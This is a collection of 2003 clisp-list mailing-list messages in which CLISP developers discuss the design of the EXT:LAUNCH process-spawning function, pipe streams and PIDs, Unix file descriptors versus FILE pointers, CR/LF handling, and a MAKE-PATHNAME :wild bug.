>    will read and copy into the string stream?

My preferred mental model would copy however it is implemented at the
command line:

$ command > output
            ^ named stream

One would create a symbol name for the stream and then use READ-CHAR,
READ-BYTE, READ-LINE, etc. on the symbol name to read from the stream
(depending upon whether the stream is created as a binary or character
stream).

Say I knew the output stream was encoded as UTF-8. I would name a UTF-8
string stream and then pass that name to launch. launch would copy the
relevant output stream into the string stream to be read by the user.

Better syntax might be (for character streams):

(ext:launch ... :output (stream-name (ext:make-encoding :charset
'charset:utf-8 :line-terminator :unix))

And something like this for binary streams:

(ext:launch ... :output (stream-name '(unsigned-byte 8))

Regards,
Adam



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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE04C673F7@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] clisp as root? was: Separate Unix error stream keyword for ext:ru n-shell-command"
> * Sent on Thu, 5 Jun 2003 18:04:27 +0200
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> Sam Steingold wrote:
> >if you are worried about "safety and security",
> >then don't run CLISP as root.
> 
> Why not!?

if you are worried about "safety and security", you never do anything
as root. :-)


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE04C673F8@G8PQD.blf01.telekom.de>
> * On the subject of "Re[2]: [clisp-list] Separate Unix error stream keyword for ext:ru n-shell-command"
> * Sent on Thu, 5 Jun 2003 18:05:07 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> here are my (unasked for) comments on this issue:

??  comments are always welcome, especially from a CLISP developer with
your experience!!

> >> I'm slighltly confused about making it user-level. It is very similar
> >> to run-program and run-shell-command but it is more `direct' and does
> 
> >We already have a whole bunch of built-in functions that do
> >similar things: SHELL, MAKE-PIPE-INPUT-STREAM, MAKE-PIPE-OUTPUT-STREAM,
> >MAKE-PIPE-IO-STREAM.
> >That's more than enough.
> >I want to have just one single built in.
> >Let us make LAUNCH user-level only when it has absorbed all the
> >functionality of the 4 other commands, and implement them as calling
> >LAUNCH and deprecate them.
> 
> I'm opposed to such global removal. It's would be a Schemesque
> approach (i.e. "why do you need
> catch/throw/block/return/ignore-errors/handler-case when all is needed
> is call/cc?").

I am saying that SHELL & MAKE-PIPE-*-STREAM should be implemented on
top of LAUNCH.  This is called "code reuse".

> Please leave in a kiss-style (SHELL &optional cmd+args), which does several things:
> + ability to suspend CLISP, portably invoking a user-shell shell
>  (please don't tell me that I can just open another X window).

(LAUNCH "" :INDIRECT T)

> + ability to trust the programmer or user when s/he knows exactly what
>  to pass to the shell instead of having CLISP second-guess quoting issues
>  on all systems or situations where the execvlpe() family of calls may
>  not be used. Second-guessing is always going to fail in some situations,
>  typically where a cygwin-compiled program tries to invoke a native one,
>  or vice-versa.

(LAUNCH "your command line here" :INDIRECT T)

> o Similarly, make-pipe-... stream are easy to comprehend and
> relatively easy to implement, even without a full-featured
> launch. E.g. On AmigaOS, it could be nothing more than (open "APIPE:ls
> mydev:foo sort" :direction :input), on systems where the freeware
> APIPE device handler is installed.

(defun MAKE-PIPE-INPUT-STREAM (cmd &rest options)
  (LAUNCH cmd :INDIRECT T :INPUT `(:STREAM ,options) :OUTPUT NIL :ERROR NIL))

> >(with-open-file (null "/dev/null" :direction :output :if-exists :append)
> o Please support :stream nil or some such convention, because having
> the programmer to use "/dev/null" in code will immediately loose the
> portability that CLISP tries to maintain. 

of course.  it's just that it is not clear yet how to do this.

> o a PID is an abstract data type where portability matters. On UNIX
> it's known to be a small integer (for better or worse[*]), on
> MS-Windows it may very well be a pointer (don't know), and on AmigaOS
> it *is* a pointer. It will be hard for (LAUNCH :asynchronous t) to
> return a portable thing -- at least return an abstract/opaque thing. 

FOREIGN-POINTER is an option, then.

> In some situations (e.g. rexx-send-command) we used to just return a
> FOREIGN-POINTER object. Formerly, we used a simple bit-vector -- at
> least it was something else than an integer, and EQ-ness could be
> checked for, preventing fake arguments!
> What I mean here is it can be enough to agree to either document that
> the exact type is purposely not documented and to be considered
> opaque, even though it may happen to be an integer on some systems, or
> document all OS cases.
> (dotimes (i 10000) (posix:kill i)) is perfectly fine, since for POSIX,
> pids are tiny integers (or am I wrong here?).

making a new opaque type PID would mean adding a function
MAKE-PID &c &c.

> Enough said, maybe I shall go Python instead.

huh?
are you jumping the ship?

> o I consider execxyz() a good thing, because it avoids tcl-style
> madness (the quoting problem, also known to linguists) to some
> extent. BTW, did you ever use find -o or -exec on UNIX?
of course!

> o I also consider having EXT:[:]LAUNCH a good thing (but not that
> MS-Windows specific :indirect keyword, which is not understandable per
> se).

it's nor woe32-specific!

> o I'd maybe provide a portable :priority setting (:high/:low/:normal
> mapping to OS&context dependent values) for portability-aware
> programmers. It's just cheap to do so.

problem is that you cannot raise priority on Unix unless you are root.
we can add a table, e.g., :high -> "-5", :low -> "+5"...

> o Having two distinct Lisp-side streams for reading stdout & stderr
> command output can result in deadlocks.

that's what SOCKET-STATUS is for!

> o An advantage of MAKE-PIPE-*-STREAM over LAUNCH is that it does not
> have to deal with producing PID objects/values that the programmer
> doesn't care about. That's another reason why it's easier to implement
> or provide portably (cf. call/cc).

that's trivial compared with the rest.

> o BTW, I think I've seen MAKE-PIPE-*-STREAM produce zombies (or just
> unusable processes) on Linux (e.g. forgetting about the stream and
> having the GC get (or not?) rid of it).

GC should kill the zombies.
doesn't it?

GC is not deterministic, so it might never actually collect the
specific stream.

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Hi,

Friday, June 06, 2003, 2:05:07 AM, you wrote:

>>> I'm slighltly confused about making it user-level. It is very similar
>>> to run-program and run-shell-command but it is more `direct' and does

>>We already have a whole bunch of built-in functions that do
>>similar things: SHELL, MAKE-PIPE-INPUT-STREAM, MAKE-PIPE-OUTPUT-STREAM,
>>MAKE-PIPE-IO-STREAM.
>>That's more than enough.
>>I want to have just one single built in.
>>Let us make LAUNCH user-level only when it has absorbed all the
>>functionality of the 4 other commands, and implement them as calling
>>LAUNCH and deprecate them.

> I'm opposed to such global removal. It's would be a Schemesque approach (i.e.
> "why do you need catch/throw/block/return/ignore-errors/handler-case when all is needed is call/cc?").

I'm "against" only run-program and run-shell-command on windows. I
wanted to improve them by making lowlevel supporting function, but
actually LAUNCH almost duplicates them. It should be improved however.

>>But I have never created lisp types from scratch.
> In some situations (e.g. rexx-send-command) we used to just return a FOREIGN-POINTER object.
> Formerly, we used a simple bit-vector -- at least it was something else than an integer, and EQ-ness
> could be checked for, preventing fake arguments!
> What I mean here is it can be enough to agree to either document that the exact type is purposely
> not documented and to be considered opaque, even though it may happen to be an integer on some
> systems, or document all OS cases.
FOREIGN-POINTER will introduce dependency on FFI!

> What I did not say (yet):
> o I consider execxyz() a good thing, because it avoids tcl-style madness (the quoting problem, also known to linguists) to some extent. BTW, did you ever use find -o or -exec on UNIX?
execxyz gives no way to redirect streams on windows, that's why we use
CreateProcess (I think) and bearing with quoting.

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Hello Adam,

Thursday, June 05, 2003, 4:29:54 PM, you wrote:

> Is there any way to currently avoid output to a file without outputting
> to a terminal?

Currently there is not, but I'll try to make it.


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Hello Sam,

Thursday, June 05, 2003, 11:01:48 AM, you wrote:

>> No guarantee we will not want to store additional info some day.
> like what?  a process is a just a process ID.
> all other information can be accessed via a system call.
For perfect oses it is, but there's always various quirks.

>> Another way I like even more - to make unopened make-pipe-*-stream and
>> pass it as stream to launch - how do you like it ?

> I don't think I like this.
> how is
> (launch ... :input (make-pipe-input-stream))
> better than
> (launch ... :input :stream)
> ?

> if the only thing you can do with the return value of
> MAKE-PIPE-INPUT-STREAM is pass it to LAUNCH, then this is not a good
> idea, IMO.

No! It's just the value return method. LAUNCH initializes (second half
of initialization) pipe-stream, then the user works with it.

(setf stream (make-pipe-input-stream))
(launch ... :output stream) ;initializes stream
(read stream)

As I undestand, pipe-input-stream should be supplies as :output
argument since the program outputs to it and lisp side inputs.

What I want (user) to avoid - to parse output value lists depending on
parameters supplied. I.e. if :input was :create then we get 2 values.
First value is pid if only :wait was nil. If :wait wasn't nil...
BTW, how pipes will work with :wait t.

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Sorry for the Perl code but this seems to be the shortest way to
describe my problem:

  edi@bird:/tmp > perl -e 'print "(with-input-from-string (s \"\r\") (print (read-char s))) (quit)"' > foo.lisp
  edi@bird:/tmp > /usr/local/bin/clisp foo.lisp

  #\Newline
  edi@bird:/tmp > /usr/local/bin/cmucl -noinit -quiet -load foo.lisp

  #\Return

I expected CLISP to also return #\Newline. I've read the
implementation notes about encodings and specifically
<http://clisp.sourceforge.net/impnotes/clhs-newline.html> but I
couldn't figure out how to change this behaviour. Or can't I?

Thanks,
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> * In message <1932875274.20030606110246@ich.dvo.ru>
> * On the subject of "Re[3]: [clisp-list] Separate Unix error stream keyword for ext:ru n-shell-command"
> * Sent on Fri, 6 Jun 2003 11:02:46 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
>
> FOREIGN-POINTER will introduce dependency on FFI!

nope. FOREIGN-POINTER depends on FOREIGN which is defined on UNIX,
AMIGA, and WIN32 (via DIR_KEY).

> > o I consider execxyz() a good thing, because it avoids tcl-style
> > madness (the quoting problem, also known to linguists) to some
> > extent. BTW, did you ever use find -o or -exec on UNIX?

> execxyz gives no way to redirect streams on windows, that's why we use
> CreateProcess (I think) and bearing with quoting.

I see.  this boils down to the effective absence of dup2() on woe32.
could you please find out how cygwin implements dup2?

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> * In message <874r3481ko.fsf@bird.agharta.de>
> * On the subject of "[clisp-list] string-input-streams and crlf conversion"
> * Sent on 06 Jun 2003 02:57:43 +0200
> * Honorable Edi Weitz <edi@agharta.de> writes:
>
>   edi@bird:/tmp > perl -e 'print "(with-input-from-string (s \"\r\") (print (read-char s))) (quit)"' > foo.lisp
>   edi@bird:/tmp > /usr/local/bin/clisp foo.lisp
>   #\Newline
> 
> I expected CLISP to also return #\Newline. I've read the
> implementation notes about encodings and specifically
> <http://clisp.sourceforge.net/impnotes/clhs-newline.html> but I
> couldn't figure out how to change this behaviour. Or can't I?

you can't.
<http://sourceforge.net/tracker/index.php?func=detail&aid=731952&group_id=1355&atid=351355>
<http://article.gmane.org/gmane.lisp.clisp.general/6970>
<http://article.gmane.org/gmane.lisp.clisp.general/4718>

discussion is welcome.

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> * In message <581360556.20030606103731@ich.dvo.ru>
> * On the subject of "Re[2]: [clisp-list] Re: Re[4]: Separate Unix error stream keyword for ext:run-shell-command"
> * Sent on Fri, 6 Jun 2003 10:37:31 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
>
> No! It's just the value return method. LAUNCH initializes (second half
> of initialization) pipe-stream, then the user works with it.
> 
> (setf stream (make-pipe-input-stream))
> (launch ... :output stream) ;initializes stream
> (read stream)

what if the user tries to read from stream before launch inits it?!

(launch ... :output (:stream :element-type ...))

is so much cleaner!

> What I want (user) to avoid - to parse output value lists depending on
> parameters supplied. I.e. if :input was :create then we get 2 values.
> First value is pid if only :wait was nil. If :wait wasn't nil...

this is inevitable.
if :WAIT was T, then the values are the same as those of EXT:WAIT
(specified in <http://article.gmane.org/gmane.lisp.clisp.general/7089>)
if :WAIT was NIL, the values are PID, INPUT stream (or NIL), OUTPUT (or
NIL) and ERROR (or NIL)

> BTW, how pipes will work with :wait t.

they won't.

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Hello Sam,

Friday, June 06, 2003, 12:28:51 PM, you wrote:

>> No! It's just the value return method. LAUNCH initializes (second half
>> of initialization) pipe-stream, then the user works with it.
>> 
>> (setf stream (make-pipe-input-stream))
>> (launch ... :output stream) ;initializes stream
>> (read stream)

> what if the user tries to read from stream before launch inits it?!

As usual - error. It's easy to detect this situation.

> (launch ... :output (:stream :element-type ...))

> is so much cleaner!

So we need one stream init parser in launch, other in
make-pipe-*-stream - code duplication.

>> What I want (user) to avoid - to parse output value lists depending on
>> parameters supplied. I.e. if :input was :create then we get 2 values.
>> First value is pid if only :wait was nil. If :wait wasn't nil...

> this is inevitable.
Why ? I do suggest the method.

> if :WAIT was T, then the values are the same as those of EXT:WAIT
> (specified in <http://article.gmane.org/gmane.lisp.clisp.general/7089>)
> if :WAIT was NIL, the values are PID, INPUT stream (or NIL), OUTPUT (or
> NIL) and ERROR (or NIL)

I'm sure other users heat this as much as I. How many other lisp functions
change their return value count depending on input parameters ?

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> * On the subject of "Re[4]: [clisp-list] Re: Re[4]: Separate Unix error stream keyword for ext:run-shell-command"
> * Sent on Sat, 7 Jun 2003 01:28:23 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
>
> > (launch ... :output (:stream :element-type ...))
> > is so much cleaner!
> 
> So we need one stream init parser in launch, other in
> make-pipe-*-stream - code duplication.

no, make-pipe-*-stream will be implemented in lisp, not C, and will
just pass their stream arguments to launch.

> >> What I want (user) to avoid - to parse output value lists depending on
> >> parameters supplied. I.e. if :input was :create then we get 2 values.
> >> First value is pid if only :wait was nil. If :wait wasn't nil...
> 
> > this is inevitable.
> Why ? I do suggest the method.

the half-baked pipe streams are out - I see no reason to create an
object which can only be only use in one single way - as an argument to
LAUNCH.   If you insist, you can consider the list (:STREAM
:ELEMENT-TYPE ... :EXTERNAL-FORMAT ... :BUFFERED ...) to be this kind
of stream.

I prefer the lispy/functional style of returning values to the C style
of modifying the arguments.

Unless you get Bruno to override me, I will resist that to death.

> > if :WAIT was T, then the values are the same as those of EXT:WAIT
> > (specified in <http://article.gmane.org/gmane.lisp.clisp.general/7089>)
> > if :WAIT was NIL, the values are PID, INPUT stream (or NIL), OUTPUT (or
> > NIL) and ERROR (or NIL)
> 
> I'm sure other users heat this as much as I. How many other lisp
> functions change their return value count depending on input
> parameters ?

when :WAIT is :T, we can return two additional NIL values just to make
sure that we always return 4 values. :-)

Consider FIND-SYMBOL: when the symbol is not found, it returns NIL, NIL,
even though the first value is sufficient (just check that the string is
not "NIL").

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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE04C673F8@G8PQD.blf01.telekom.de>
> * On the subject of "Re[2]: [clisp-list] Separate Unix error stream keyword for ext:ru n-shell-command"
> * Sent on Thu, 5 Jun 2003 18:05:07 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
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> [*] Please write an essay on the pros and cons of open() etc. using
> small integers vs. fopen() using FILE pointers. I'd be happy to
> discuss such design issues with everybody.

the original decision, I think, was predicated on avoiding libc (amiga?).

this is now gone, but using fopen()/FILE would result in libc doing
buffering, in addition to CLISP own buffering, thus complicating
unbuffered streams and introducing an unnecessary overhead for buffered
streams.

on a more mundane level, I see no way to duplicate FILE*.
we do need dup2 on several occasions.

I don't think it is worth our time to rewrite stream.d to use FILE.

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On Friday, Jun 6, 2003, at 11:28 US/Eastern, Arseny Slobodjuck wrote:

>> if :WAIT was T, then the values are the same as those of EXT:WAIT
>> (specified in 
>> <http://article.gmane.org/gmane.lisp.clisp.general/7089>)
>> if :WAIT was NIL, the values are PID, INPUT stream (or NIL), OUTPUT 
>> (or
>> NIL) and ERROR (or NIL)
>
> I'm sure other users heat this as much as I. How many other lisp 
> functions
> change their return value count depending on input parameters ?

Changing the subject (line, literally!). I don't think this is problem. 
Once you know that up to n values can be returned, you need some kind 
of multiple-value-bind sort of expression to receive them. Since 
returning fewer values than are being received means the "missing" ones 
are set to NIL, and since you have to look at the first one(s) to see 
if later ones are valid anyways, I don't think this is a big deal. A 
bigger deal is making sure that the first value returned is useful even 
when the others are discarded (because the expression returns into a 
single value receiving place).

Just my buck two-fifty, ;-)
    <D\'gou



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Sam Steingold <sds@gnu.org> writes:

> you can't.
> <http://sourceforge.net/tracker/index.php?func=detail&aid=731952&group_id=1355&atid=351355>
> <http://article.gmane.org/gmane.lisp.clisp.general/6970>
> <http://article.gmane.org/gmane.lisp.clisp.general/4718>
> 
> discussion is welcome.

Thanks. It's currently not really a problem for me - I use CLISP
mainly for compatibility checking while I develop on CMUCL. I might
have to use binary streams anyway for other reasons.

FYI, of the CL implementations I have on my machine CMUCL, SBCL,
AllegroCL, and ECL all return #\Return while CLISP and LW yield
#\Newline.

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Hi,

Sam Steingold wrote:
>> [*] Please write an essay on the pros and cons of open() etc. using
>> small integers vs. fopen() using FILE pointers. I'd be happy to
>> discuss such design issues with everybody.
>
>the original decision, I think, was predicated on avoiding 
>libc (amiga?).
Not because of Amiga. Because of mistrust on many libc (esp. malloc() therein) out there in the UNIX world at that time. But I hadn't raised my question with CLISP in mind.

Why did the design team around UNIX come up with small integers as file descriptors?
Why did the ANSI C people come up with FILE pointers instead?

When you release a library with opaque "references", what do you provide at the interface?
a) Pointers to some real objects, whose structure only you know?
b) tiny integers starting from 0, a la UNIX filedes?
c) "tickets" (aka access "cookies") i.e. arbitrary pseudo-random numbers?
d) other - please explain

How do you evaluate your library interface w.r.t. type safety, reliability, ease of use, portability, interoperability or whatever aspect you choose?

>I don't think it is worth our time to rewrite stream.d to use FILE.
Certainly not. Please don't.

Regards,
	Jorg Hohle.


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Hi,

Sam Steingold answered to Arseny Slobodjuck:
>> execxyz gives no way to redirect streams on windows, that's 
>why we use
>> CreateProcess (I think) and bearing with quoting.
>I see.  this boils down to the effective absence of dup2() on woe32.

This is a note of mine to mention that dup() is misdesigned from a portability point of view. It should not form a model for higher-level functionality in Lisp.

On some systems, notably non-UNIX ones, there's a coupling between access and locking. I consider that a good thing.

UNIX (and esp. NFS) historically does not, and that's why we've seen lots of portability problems with sendmail, uucp and related programs, which have to choose among many different (sometimes buggy) incompatible implementations of file locking (ever seen foo.LOCK files here and there?).

On AmigaOS (and maybe also MS-Windows), coupling is the default, in conjunction with a multiple-readers, single writer model (well known from e.g. simple databases like MySQL). That works very well in many many situations.

On such systems, you cannot dup a single-writer (exclusive access) resource - quite obviously. You would obtain two writers to the unique resource, which is forbidded by contract.

On such systems, you have means (e.g. a protocol) to pass resources from one process to another. But the resource is still unique.

On UNIX, you can "cat > /tmp/foocat" at the same time in several shells, and use intermittent "cat /tmp/foocat" from a third shell to witness how the different programs happily overwrite part of the other program's data. An interesting UNIX experience I highly recommend.

On UNIX, dup() is almost a necessity in the presence of fork().

The model and implementation of UNIX pipes, given the presence of dup() and fork(), is certainly interesting. UNIX pipes are probably not referentially transparent as in functional programming.


>could you please find out how cygwin implements dup2?
That *may* not help, since the cygwin runtime environment may do things behind the scenes, even after an application closes, that an application can not. OTOH, it may show how to master that aspect of MS-Woes.

The cygwin environment may simulate dup() by simply serialiazing access via dup()'ed file descriptors to the unique MS-Windows file resource across all cygwin-using programs. The CLISP application cannot do that, only the cygwin OS emulation environment can.
It could be like this, it must not.

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	Jorg Hohle.


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Sam wrote:
>> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
>> No! It's just the value return method. LAUNCH initializes 
>(second half
>> of initialization) pipe-stream, then the user works with it.
>> 
>> (setf stream (make-pipe-input-stream))
>> (launch ... :output stream) ;initializes stream
>> (read stream)
>
>what if the user tries to read from stream before launch inits it?!
Exactly! Excellent question.

>(launch ... :output (:stream :element-type ...))
>is so much cleaner!

I agree with this. The conceptual driving force (for me) behind this is functional programming (FP) oriented thought, or the concept of "single assignment" known to compiler writers of imperative languages (and not only Single Assignment C, aka SAC).

I always try to write my code in such a way that after the initializing call, almost nothing needs to be modified. Many :read-only slots. Against typical OO (which I call "challenged OO" :).

This has many advantages
o no need to maintain state & check whether method x is callable in partly initialized state y.
o clear conceptual model (may need revision until one finally arrives at a such one)
o helps semi-automated program analysis
o easier to assess correctness

and disadvantages
o against C++ where one can hardly do anything useful in constructors unless extreme care is taken to protect the resources created, duplicating a lot of effort from the destructor, or involving C++ master level (cf. "exceptional C++" from Herb Sutter), which few people have.


Analysing the requirements, one usually recognizes this sort of transformation (in pseudo Java/C++/Python style) from
	init(parameters)
	o.set more parameters
	o.call

into either
	init(all needed parameters)
	o.call
or
	factory(parameters) -> o1
	o1(more parameters) -> o2 of a different class
	o2.call
Cf. uncurrying in FP.
In both cases the method cannot be called too early since the object doesn't exist yet.

Sam' suggestion of "the list (:STREAM :ELEMENT-TYPE ... :EXTERNAL-FORMAT ... :BUFFERED ...)" is equivalent to the second approach. In Lisp, o1 need not be materialized as an object.

Regards,
	Jorg Hohle


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Hoehle, Joerg-Cyril writes:
> Why did the design team around UNIX come up with small integers as
> file descriptors?

Because the file descriptors refer data structures that are not in the
user space, but in the kernel  space.  Using indices in an array leaks
no information  about the  kernel, while even  using addresses  in the
kernel space leaks some information about the kernel (and possibly the
other  processes). In addition,  it would  prevent moving  kernel data
structures.


> Why did the ANSI C people come up with FILE pointers instead?

Because the FILE  structure is stored in the same  user space than the
client code of the library. =20
=20
> When you release a library with opaque "references", what do you
> provide at the interface?

> a) Pointers to some real objects, whose structure only you know?

Yes. Most often.


> b) tiny integers starting from 0, a la UNIX filedes?

Yes. Sometimes.


> c) "tickets" (aka access "cookies") i.e. arbitrary pseudo-random number=
s?

Yes,  possibly.   While  this  is  done  usually  when  you  implement
capacities.  But this is worthwhile  only on a pure capacity based OS,
or in network protocols (thus when there is a separation of addressing
spaces again).


> d) other - please explain
>=20
> How do you evaluate your library interface w.r.t. type safety,
> reliability, ease of use, portability, interoperability or whatever
> aspect you choose?

It  does not  matter very  much.  What  matters is  the  separation of
addressing spaces.  Otherwise, the  process can always scan its memory
space to find out library data structures.
=20

> >I don't think it is worth our time to rewrite stream.d to use FILE.
> Certainly not. Please don't.
>=20
> Regards,
> 	Jorg Hohle.

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Hi,

Wednesday, June 11, 2003, 1:13:04 AM, you wrote:

>>> No! It's just the value return method. LAUNCH initializes
>>(second half of initialization) pipe-stream, then the user works
>>with it.
>>> 
>>> (setf stream (make-pipe-input-stream))
>>> (launch ... :output stream) ;initializes stream
>>> (read stream)
>>
>>what if the user tries to read from stream before launch inits it?!
> Exactly! Excellent question.

>>(launch ... :output (:stream :element-type ...))
>>is so much cleaner!

> I agree with this. The conceptual driving force (for me) behind this
> is  functional  programming (FP) oriented thought, or the concept of
> "single assignment" known to compiler writers of imperative
> languages (and not only Single Assignment C, aka SAC).

Try to see it this way: streams and running external programs are
highly "non-FP" things. Launch is the function to run programs, not
creating streams, brewing beer and sending the mail. Streams are
'additional' to it, not essential. There are already closed streams. When
the program under pipe stream is finished, what do we have ? Exactly
the same - a pipe stream with invalid process handle. What if the user
tries to read from stream after it's finished ?

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Hi,

Wednesday, June 11, 2003, 12:51:45 AM, you wrote:

> On  UNIX,  you  can  "cat > /tmp/foocat" at the same time in several
> shells, and use intermittent "cat /tmp/foocat" from a third shell to
> witness  how  the  different  programs happily overwrite part of the
> other  program's  data.  An  interesting  UNIX  experience  I highly
> recommend.

Your essay is very in time because I'm just figuring out why two
sequential "launch > foo" don't work on unix as I expect, thank you!

-- 
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Arseny Slobodjuck wrote:
>Try to see it this way: streams and running external programs are
>highly "non-FP" things.
That is no argument to a fan of Haskell :-)

> Launch is the function to run programs, not
>creating streams, brewing beer and sending the mail. Streams are
>'additional' to it, not essential.

I see it like this: pipes are connectors. It is then a matter of taste and subject for debate whether connectors exist by themselves or not.
The fact that pipes may be represented as objects has IMHO nothing to do in this debate (a red herring).

One can also take another approach: pipes/streams are essential, not foreign programs. The reason is that the only thing I can see is the I/O via pipes. So that's what matters to me.
The only observable "reality" is my interaction with the foreign world: it looks like foreign programs exist, but I cannot be sure of that; however pipes for sure exist, I have a grasp on them.
I.e. streams are essential, programs are not :-)
MAKE-PIPE-*-STREAM IMHO adheres to this point of view: The pipe stream and what flows through it is what matters to Lisp, not the program being invoked.

> There are already closed streams. When
>the program under pipe stream is finished, what do we have ? Exactly
>the same - a pipe stream with invalid process handle.

The implementation of FIFO that I maintained for some time was controllable so as not to die together with a program. It had independent life/extent. It could be put to life before a program would be started, and/or remain there after one died.

BTW, even UNIX pipe live a little longer than some of the programs connected to them. I.e. they buffer the last few KB of output. But I forgot about SIGPIPE issues. This was discussed once upon a time in this list.

>What if the user tries to read from stream after it's finished ?
That's a protocol error in my view. In certain situations, it can be statically derived from program source. It's like the pop(empty_stack) problem to me.



Regards,
	Jorg Hohle.


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Hi,

Actually, a zero-arity (MAKE-PIPE-INPUT-STREAM) makes sense with named pipes or fifos. As a stream, it could even have a pathname that could be communicated to external programs (in lieu of the "-" pseudo-file name that some programs recognize for either stdin or stout.

But I don't expect that to be as portable as the unary MAKE-PIPE-INPUT-STREAM, presumably because it's a less-used pattern.

For example, on AmigaOS, there is a utility to pipe with any program that does not do i/o via stdin/out like /bin/cat. E.g. let's pretend GNU diff would not recognize the pseudo filename "-". I could then write
	pipe cat myfile | diff IN: otherfile
since cat myfile | diff - outfile would not work.

This works with every program. And it eliminates some needs for stdin/out redirection.
E.g.		gcc -E ... >/tmp/foo
becomes	gcc -E -o OUT: ...
(LAUNCH "gcc"
  :arguments (list* "-E" "-o" (pathname (setq s (make-pipe-input-stream))) other-options))
(read-char s)

I recently learnt that bash/zsh (not old sh/csh) have a similar feature: <(command) and >(command)
The <() construct creates a FIFO (either a "named pipe" or /dev/fd/n), and passes the name as an argument.
	diff <(cat myfile) otherfile

But if you go that way, you need to devise a protocol for when you have finished with the resource. Would CLOSE be enough?

Regards,
	Jorg Hohle.


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On Wed, 11 Jun 2003, Pascal Bourguignon wrote:

> Hoehle, Joerg-Cyril writes:
> > Why did the design team around UNIX come up with small integers as
> > file descriptors?
> 
> Because the file descriptors refer data structures that are not in the
> user space, but in the kernel  space.  Using indices in an array leaks
> no information  about the  kernel, while even  using addresses  in the
> kernel space leaks some information about the kernel (and possibly the
> other  processes). In addition,  it would  prevent moving  kernel data
> structures.

There are other reasons too. 

The descriptors behave like an array, so for example, it is possible to
loop over them and close them. If they were pointers, this would not be
possible without maintaining an external data structure.

Because the smallest available integer is always chosen, if an
application needs to associate a file descriptor with satellite data,
it can use a simple bounded array data structure to do so.

This is very convenient in an application that handles many tty's,
sockets or whatever. If a function like select() or poll() tells you
that some file descriptor is readable, you can index that into your
array and fetch the context structure.

The alternate design, namely providing some interface that lets the
user associate ``void *'' pointer value with a descriptor, is actually
weaker, because there may be several modules in a program that will
fight over that ``void *''. 

Oh yes, and there is one more reason: the file descriptors were
actually a fixed array in early UNIX kernels. The integer indexes are
simply a ``leak'' of the representation.

> > Why did the ANSI C people come up with FILE pointers instead?
> 
> Because the FILE  structure is stored in the same  user space than the
> client code of the library.  

It wasn't the ANSI C people, by the way. The Version 6 UNIX sources had
a <stdio.h> header with a FILE macro in it, I think it was like:

  #define FILE struct _iobuf

this explains why FILE is in all caps too; it started as a macro.

> > When you release a library with opaque "references", what do you
> > provide at the interface?
> 
> > a) Pointers to some real objects, whose structure only you know?
> 
> Yes. Most often.
> 
> 
> > b) tiny integers starting from 0, a la UNIX filedes?
> 
> Yes. Sometimes.

I did this some years ago in a communication protocol stack project.
An instance of the protocol stack was a C++ object. But distinct
logical communication channels were identified by integers, which were
guaranteed to be small. Thus I did not have to provide a way for the
calling application to associate context data with channels.

It was specifically that context association advantage  which led me to
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I cannot find anything in CLHS that prevents:

    (make-pathname :directory '(:absolute :wild))

(or any of its variants:
   =20
    (make-pathname :directory '(:relative :wild))
    (make-pathname :directory '(:absolute "a" :wild "b"))
    (make-pathname :directory '(:relative "a" :wild "b"))
)

but clisp does not accept it:

[pascal@thalassa pascal]$ clisp -q -norc

[1]> (make-pathname :directory '(:absolute :wild))

*** - MAKE-PATHNAME: illegal :DIRECTORY argument (:ABSOLUTE :WILD)
1. Break [2]>=20
[3]> (make-pathname :directory '(:relative :wild))

*** - MAKE-PATHNAME: illegal :DIRECTORY argument (:RELATIVE :WILD)
1. Break [4]>=20
[5]> (make-pathname :directory '(:absolute "a" :wild "b"))

*** - MAKE-PATHNAME: illegal :DIRECTORY argument (:ABSOLUTE "a" :WILD "b"=
)
1. Break [6]>=20
[7]> (make-pathname :directory '(:relative "a" :wild "b"))

*** - MAKE-PATHNAME: illegal :DIRECTORY argument (:RELATIVE "a" :WILD "b"=
)
1. Break [8]>=20
[9]> (lisp-implementation-version)
"2.30 (released 2002-09-15) (built on thalassa.informatimago.com [213.220=
.35.225])"


Note that PATHNAME does not have that same reticence:

[14]> (pathname "/*/")
#P"/*/"
[15]> (pathname "/a/*/b/")
#P"/a/*/b/"
[16]> (pathname "a/*/b/")
#P"a/*/b/"
[17]> (pathname "*/")
#P"*/"
[18]>=20


MAKE-PATHNAME takes a "valid pathname directory":

    valid pathname directory n. a string, a list of strings, nil,
    :wild, :unspecific, or some other object defined by the
    implementation to be a valid directory component.



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> * In message <20030612171513.853EC9FB37@thalassa.informatimago.com>
> * On the subject of "(make-pathname :directory (:absolute :wild))"
> * Sent on Thu, 12 Jun 2003 19:15:13 +0200 (CEST)
> * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
>
>     (make-pathname :directory '(:absolute :wild))

should be fixed in the CVS.
thanks.

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Hello

on Windows 2000, I am trying to create a CLisp process using the system
command "CreateProcess". If I start with CreateProcess" only the executable "lisp.exe" (thus, without the memory file "lispinit.mem"), everything is
fine, CLisp starts up and I can type something on the prompt which appears.

However, if I want to start CLisp with CreateProcess together with the
memory image "lispinit.mem" using the command line option "-M", then
there is a problem: From the task manager, I can see that a process
"lisp.exe" was created, however, it seems as if this process is
hanging somewhere. At least, there is no prompt and no read-eval-print-loop
where I could evaluate lisp expressions.

To make things clearer: executing

   lisp.exe -M lispinit.mem

from a console on Windows 2000 is always fine, however, executing the same
sequence using the system call "CreateProcess" starts a process "lisp.exe"
(can be seen from the Task Manager). However, this process seems to
hang somewhere.

Has anybody else already seen a similar behaviour? Or has anybody an
idea on how to resolve this problem? Finally, I would like to be abel to
start CLisp on Windows 2000 together with some additional code I have
written.

Thank you + have a nice day
Norbert

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> * In message <p05111b03bb139a9aa461@[134.21.9.36]>
> * On the subject of "[clisp-list] Starting CLisp with CreateProcess on Windows"
> * Sent on Mon, 16 Jun 2003 18:23:02 +0200
> * Honorable Norbert Lehmann <Norbert.Lehmann@unifr.ch> writes:
>
> on Windows 2000, I am trying to create a CLisp process using the
